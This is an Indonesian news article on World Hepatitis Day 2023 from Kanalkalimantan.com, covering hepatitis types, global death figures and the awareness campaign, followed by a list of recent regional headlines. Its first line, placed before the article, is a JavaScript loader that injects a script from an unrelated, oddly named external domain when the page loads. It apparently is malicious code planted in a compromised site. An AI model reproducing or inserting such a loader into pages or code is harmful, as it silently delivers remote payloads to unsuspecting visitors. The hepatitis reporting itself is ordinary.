(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

KANALKALIMANTAN.COM – Menurut Aliansi Hepatitis Dunia, hepatitis adalah peradangan hati, paling sering disebabkan oleh infeksi virus.

Ada lima virus Hepatitis utama, disebut sebagai tipe A, B, C, D, dan E.

Kelima jenis ini menjadi perhatian terbesar karena beban penyakit dan kematian yang ditimbulkannya serta potensi wabah dan penyebaran epidemi.

Setiap 30 detik, seseorang meninggal karena penyakit terkait virus Hepatitis. Dengan pencegahan yang ada, penting untuk dites dan menerima pengobatan.

Baca juga: Stadion Demang Lehman Satu dari 22 Stadion akan Direnovasi Kementerian PUPR RI  

Hari Hepatitis Sedunia (WHD) berlangsung setiap tahun pada tanggal 28 Juli dan menyatukan dunia di bawah satu tema untuk meningkatkan kesadaran akan beban global virus hepatitis dan mempengaruhi perubahan nyata. Tema tahun ini adalah “ Kami tidak menunggu.” Ajakan bertindak WHD 2023 adalah untuk “mempercepat upaya eliminasi virus hepatitis sekarang dan kebutuhan mendesak untuk pengujian dan pengobatan bagi orang-orang nyata yang membutuhkannya.

Individu dan komunitas di seluruh dunia membuat perubahan terjadi dalam kehidupan mereka sendiri dan dunia di sekitar mereka. Kami merayakannya, sambil menuntut lebih banyak tindakan.” WHD adalah salah satu dari hanya empat hari kesadaran global khusus penyakit yang secara resmi didukung oleh Organisasi Kesehatan Dunia (WHO). WHD menyatukan organisasi pasien, pemerintah, profesional medis, masyarakat sipil, industri, dan masyarakat umum untuk meningkatkan profil global virus hepatitis.

 

Mengapa Hari Hepatitis Sedunia penting?

Baca juga: Uang Suap Kabasarnas Pakai Kode ‘Dana Komando’

Virus hepatitis adalah salah satu penyebab utama kematian secara global, terhitung 1,34 juta kematian per tahun – sama banyaknya dengan HIV/AIDS, tuberkulosis, atau malaria.

Bersama-sama, virus hepatitis B dan hepatitis C menyebabkan 80% kasus kanker hati di dunia.

Virus hepatitis tidak ditemukan di satu lokasi atau di antara sekelompok orang; itu benar-benar epidemi global yang dapat memengaruhi jutaan orang tanpa mereka sadari.

Saat ini, 90% pengidap hepatitis B dan 80% pengidap hepatitis C tidak mengetahui status mereka. Hal ini dapat mengakibatkan kemungkinan nyata berkembangnya penyakit hati yang fatal di beberapa titik dalam hidup mereka dan dalam beberapa kasus, tanpa sadar menularkan infeksi kepada orang lain.

Baca juga: Tim ULM Gelar Bimtek Pembesaran Ikan Gurami Sistem Kolam Bundar di Desa Karya Tani

Dengan tersedianya vaksin dan pengobatan yang efektif untuk hepatitis B dan obat untuk hepatitis C, pemberantasan virus hepatitis dapat dicapai, tetapi kesadaran dan pemahaman yang lebih besar tentang penyakit dan risikonya adalah suatu keharusan, begitu pula akses ke diagnosis dan pengobatan yang lebih murah. Dengan dimasukkannya virus hepatitis dalam Tujuan Pembangunan Berkelanjutan (SDGs) dan penerapan strategi hepatitis global pertama di dunia baru-baru ini, kita berada pada momen yang sangat penting.

Sekarang komitmen politik lebih dari sebelumnya dibutuhkan. Tanpa tindakan segera, kematian akan terus meningkat dan epidemi akan terus berkembang.

Hari Hepatitis Sedunia memberikan kesempatan yang ideal: kesempatan untuk bergabung bersama dan meningkatkan profil virus hepatitis di antara masyarakat, media dunia dan dalam agenda kesehatan global. Penghapusan virus hepatitis tidak bisa menunggu. (Kanalkalimantan.com/bie)

Reporter : bie
Editor : kk


Risa

Recent Posts

Kasus Pencabutan SHM Transmigran Sepihak di Kotabaru, Kementrans Kirim Tim Investigasi

KANALKALIMANTAN.COM, JAKARTA - Kementerian Transmigrasi (Kementrans) turun tangan langsung menangani kasus pencabutan Sertipikat Hak Milik… Read More

45 menit ago

Tempat Hiburan di Banjarbaru Wajib Tutup Selama Ramadan

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru mengeluarkan surat edaran tentang pelaksanaan kegiatan masyarakat pada bulan… Read More

2 jam ago

Waspada Hujan Disertai Petir dan Gelombang Tinggi di Kalsel

KANALKALIMANTAN.COM, BANJARBARU – Cuaca di Kalimantan Selatan (Kalsel) dalam sepekan ke depan diprakirakan masih didominasi… Read More

4 jam ago

BPBD Balangan Gelar Pelatihan TRC PB Tahap II di Batakan

KANALKALIMANTAN.COM, PARINGIN - Badan Penanggulangan Bencana Daerah (BPBD) Kabupaten Balangan menuntaskan tahap II pelatihan Tim… Read More

4 jam ago

1 Ramadan Resmi Jatuh Kamis 19 Februari

KANALKALIMANTAN.COM, JAKARTA — Kementerian Agama Republik Indonesia (Kemenag RI) resmi menetapkan 1 Ramadan 1447 Hijriah… Read More

16 jam ago

Hilal di Kalsel Tidak Terlihat, 1 Ramadan Menunggu Keputusan Pusat

KANALKALIMANTAN.COM, BANJARMASIN — Kantor Wilayah (Kanwil) Kementerian Agama Provinsi Kalimantan Selatan (Kemenag Kalsel) menggelar pemantauan… Read More

18 jam ago

This website uses cookies.